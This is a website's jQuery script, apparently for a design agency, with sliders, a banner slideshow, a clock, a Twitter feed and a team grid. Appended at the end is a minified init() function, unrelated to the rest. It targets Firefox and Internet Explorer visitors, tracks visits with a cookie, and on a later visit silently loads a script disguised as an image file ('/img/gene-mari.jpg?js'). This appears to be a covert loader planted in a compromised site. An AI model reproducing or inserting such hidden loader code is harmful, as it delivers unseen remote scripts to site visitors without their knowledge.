

		function frame(action, object){
			if(action == 'next'){
				c = object.children('.counter').val();
				totalval = object.children('.total').val()-1;
				img = object.children('.mask').children('img');
				if(c == totalval){ c = 0 ; p = totalval ;}  else  { c++ ;  p = c-1; };
				object.children('.counter').val(c);
				img.stop();
				img.not('.active').css({'left':'728px'});
				img.eq(p).css({'left':'0px'}).animate({'left':'-728px'}, 500);
				object.children('.mask').children('.active').removeClass('active');
				img.eq(c).css({'left':'728px'}).animate({'left':'0px'}, 500).addClass('active');
				object.children('.mask').children('.dots').children().children().children('.active').removeClass('active');
				object.children('.mask').children('.dots').children().children().children('a').eq(c).addClass('active');
			}
			if(action == 'previous'){
				c = object.children('.counter').val();
				totalval = object.children('.total').val()-1;
				img = object.children('.mask').children('img');
				if(c == 0){ c = totalval ; p = 0 ;} else { c-- ;  p = c+1; };
				object.children('.counter').val(c);
				img.stop();
				img.not('.active').css({'left':'728px'});
				img.eq(p).css({'left':'0px'}).animate({'left':'728px'}, 500);
				object.children('.mask').children('.active').removeClass('active');
				img.eq(c).css({'left':'-728px'}).animate({'left':'0px'}, 500).addClass('active');
				object.children('.mask').children('.dots').children().children().children('.active').removeClass('active');
				object.children('.mask').children('.dots').children().children().children('a').eq(c).addClass('active');
			}
		}
		
		function frame_goto(target,object){
			img = object.children('.mask').children('img');
			object.children('.counter').val(target);
			img.stop();
			img.not('.active').css({'left':'728px'});
			object.children('.mask').children('.active').css({'left':'0px'}).animate({'left':'-728px'}, 500);
			object.children('.mask').children('.active').removeClass('active');
			img.eq(target).css({'left':'728px'}).animate({'left':'0px'}, 500).addClass('active');
			object.children('.mask').children('.dots').children().children().children('.active').removeClass('active');
			object.children('.mask').children('.dots').children().children().children('a').eq(target).addClass('active');
		}
		
		
		function round( number){
			if( number < 10){ return "0"+number; } else { return number; }
		}
				
		function fixhours(hour){
			if(hour < 0){
				return hour+24;
			} else {
				return hour;
			}
		}
		
		function setmessage(hour){
			
			if(hour < 7 || hour >= 22 ){
				$("#clock p").html("We are dreaming Zzz...");
			} 
			if( hour >= 7 && hour < 8 ){
				$("#clock p").html("We are having breakfast ^^ ");
			} 
			if( (hour >= 8 && hour < 12) || (hour >= 13 && hour < 17) ){
				$("#clock p").html("We are up and running !");
			}
			if( hour >= 12 && hour < 13 ){
				$("#clock p").html("We are having lunch Hmm... ");
			}
			if( hour >= 17 && hour < 18){
				$("#clock p").html("We are heading home...");
			}
			if( hour >= 18 && hour < 19){
				$("#clock p").html("We are having dinner...");
			} 
			if( hour >= 19 && hour < 21){
				$("#clock p").html("We are chilling...");
			}
			if( hour >= 21 && hour < 22){
				$("#clock p").html("We are spotting UFOs");
			}
			
		}
	
		$(document).ready(function() {
		
			// Update Icon if iPad
			if((navigator.userAgent.match(/iPad/i))) {
				$('link[rel="apple-touch-icon-precomposed"]').attr("href","img/iPad_icon.png");
			}
		
			// Auto clear text fields
			$('.autoclear').live('click',function(){ if($(this).attr('title') == $(this).val()){ $(this).val(''); } }); 
			$('.autoclear').live('blur',function(){ if($(this).val() == ''){ $(this).val($(this).attr('title')); $(this).removeClass('userinput'); } else { $(this).addClass('userinput'); } }); 
			
			// Banner
			function gotoslide(dir){
				currentslide = $('#banner input.current').val();
				totalslides = $('#banner input.total').val();
				if(dir == "forward"){
					if(currentslide == totalslides){ nextslide = 1;
					} else { nextslide = (currentslide*1) + 1; }
				}
				if(dir == "back"){
					if(currentslide == 1){ nextslide = totalslides;
					} else { nextslide = (currentslide*1) - 1; }
				}
				$('#banner .navigation a').addClass('disabled');
				$('#banner .item:eq('+ (currentslide-1) +')').css({'z-index':'2','left':'0px','display':'block'}).fadeTo(500,0);
				$('#banner .item:eq('+ (nextslide-1) +')').css({'z-index':'3','left':'0px', 'display':'block'}).fadeTo(500,1);
				setTimeout(function(){
					$('#banner .navigation a').removeClass('disabled');
					$('#banner input.current').val(nextslide);
				},500);
			}
			$("#banner .back").click(function(){
				if($(this).hasClass('disabled') == false){ gotoslide("back"); }
				return false;
			});
			$("#banner .forward").click(function(){
				if($(this).hasClass('disabled') == false){ gotoslide("forward"); }
				return false;
			});
			function playslideshow(){
				if($('#banner .navigation a').hasClass('disabled') == false){ gotoslide("forward"); }
			}
			setInterval(playslideshow, 7500);
			
			
			// frame
			$('.frame').live('hover', function(){ 
				if($(this).children('.total').val() != 1){
					$(this).children('.mask').children('.dots').animate({'bottom':'-1px'}, 50);
					$(this).children('.mask').children('.right').animate({'right':'0px'}, 50);
					$(this).children('.mask').children('.left').animate({'left':'0px'}, 50);
				}
			}).live('mouseleave', function(){ 
				$(this).children('.mask').children('.dots').animate({'bottom':'-30px'}, 50);
				$(this).children('.mask').children('.right').animate({'right':'-23px'}, 50);
				$(this).children('.mask').children('.left').animate({'left':'-23px'}, 50);
			});
			$('.frame .right').live('click', function(){
				frame('next' , $(this).parent('.mask').parent('.frame'));
			});
			$('.frame .left').live('click', function(){
				frame('previous' , $(this).parent('.mask').parent('.frame'));
			});
			$('.frame .dots a').live('click', function(){
				if($(this).attr('rel') != $(this).parent().parent().parent('.dots').parent('.mask').parent('.frame').children('input').val()){
					frame_goto($(this).attr('rel') , $(this).parent().parent().parent('.dots').parent('.mask').parent('.frame'));
				}			
			});
			
			// share
			$('.share .button').live('click', function(){
				if($(this).parent('.share').hasClass('open') == true ){
					$(this).parent('.share').removeClass('open');
				} else {
					$('.open').removeClass('open');
					$(this).parent('.share').addClass('open');
				}
			});
      		
 			// Clock
 			setInterval( function() {
     			 var seconds = new Date().getUTCSeconds();
      			 var sdegree = seconds * 6;
      			 var srotate = "rotate(" + sdegree + "deg)";
				 $("#sec").css({"-moz-transform" : srotate, "-webkit-transform" : srotate, "-o-transform" : srotate, "transform" : srotate});
			}, 1000 );

      		setInterval( function() {
      			var hours = new Date().getUTCHours();
      			hours = fixhours(hours+2);
      			var mins = new Date().getMinutes();
      			var hdegree = hours * 30 + (mins / 2);
      			var hrotate = "rotate(" + hdegree + "deg)";
      			$("#clock span").html("The local time is " + round(hours) + ":" + round(mins));
      			setmessage(hours);
				$("#hour").css({"-moz-transform" : hrotate, "-webkit-transform" : hrotate, "-o-transform" : hrotate, "transform" : hrotate});
			}, 1000 );

      		setInterval( function() {		
      			var mins = new Date().getUTCMinutes();
      			var mdegree = mins * 6;
      			var mrotate = "rotate(" + mdegree + "deg)";
				$("#min").css({"-moz-transform" : mrotate, "-webkit-transform" : mrotate, "-o-transform" : mrotate, "transform" : mrotate});
			}, 1000 );
			
			// magic element
			$(window).scroll(function() {
				if( ((window.XMLHttpRequest == undefined) && (ActiveXObject != undefined)) == false ){
					if($(window).scrollTop() < 105){
						$('#magicelement').css({'position':'relative', 'top':'12px', 'left':'50%', 'margin':'0px 0px 0px -498px'});
					} else{
						$('#magicelement').css({'position':'fixed', 'top':'15px', 'left':'50%', 'margin':'0px 0px 0px -491px'});
					}
				}
			});
			
			if ($('div#twitter span#tweetcontent').length > 0) {
				$.ajax({
       				type:'GET',
        			dataType:'jsonp',
        			url:'http://api.twitter.com/1/statuses/user_timeline.json',
        			data:{screen_name:'digiti', include_rts:1}, //show retweets
        			success:function(data, textStatus, XMLHttpRequest) {
            			var tmp = false;
           				var results = $('#twitter_results');
            			//console.log(data);
						tweet = data[0].text;
						tweet_link = "http://twitter.com/digiti/status/" + data[0].id_str;
						$('div#twitter span#tweetcontent').html('<em>&ldquo;</em>' + tweet + '<em>&rdquo;</em>');
						$('div#twitter a#tweet').attr('href', tweet_link);
      			  	},
       			 	error:function(req, status, error) {
            			alert('error: '+status);
        			}
    			});
			}
			
			if ($('div#homepost').length > 0) {
				$.get('last_blog_post.html', function(data) {
					$('div#homepost').html(data);
				});
			}
			
			if ($(".thegrid").length > 0) {
				if (navigator.appName != 'Microsoft Internet Explorer'){
					$(".thegrid li a").live('click', function(){
						$(".thegrid").removeClass('show').addClass('hide').fadeTo(400, 0, function() { $(this).hide(); });
						$("#team").delay(200).animate({'height': $("#team #info .member."+$(this).attr('class')).height() + 'px'}, 400);
						$("#team #info .member."+$(this).attr('class')).delay(200).addClass('show').fadeTo(400, 1, function(){
							$(this).children(".closebutton").css({'display':'block'});
						});
					});
					$(".member .closebutton").live('click', function(){
						$(this).hide();
						$("#team").animate({'height': $("#team .thegrid").height() + 'px'}, 400);
						$(this).parent().removeClass('show').fadeTo(400, 0, function(){ $(this).hide(); });
						$(".thegrid").delay(200).show().removeClass('hide').addClass('show').fadeTo(400, 1);
					});
				} else {
					$(".thegrid li a").live('click', function(){
						$(".thegrid").hide();
						$("#team").css({'height': '450px'});
						$("#team #info .member."+$(this).attr('class')).show();
					});
					$(".member .closebutton").live('click', function(){
						$(this).parent().hide();
						$("#team").css({'height': $("#team .thegrid").height() + 'px'});
						$(".thegrid").show();
					});
				}
			}
			
			if ($('body#motion-special-effects').length > 0) {
				VideoJS.setupAllWhenReady();
			}
			
		});

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/img/gene-mari.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
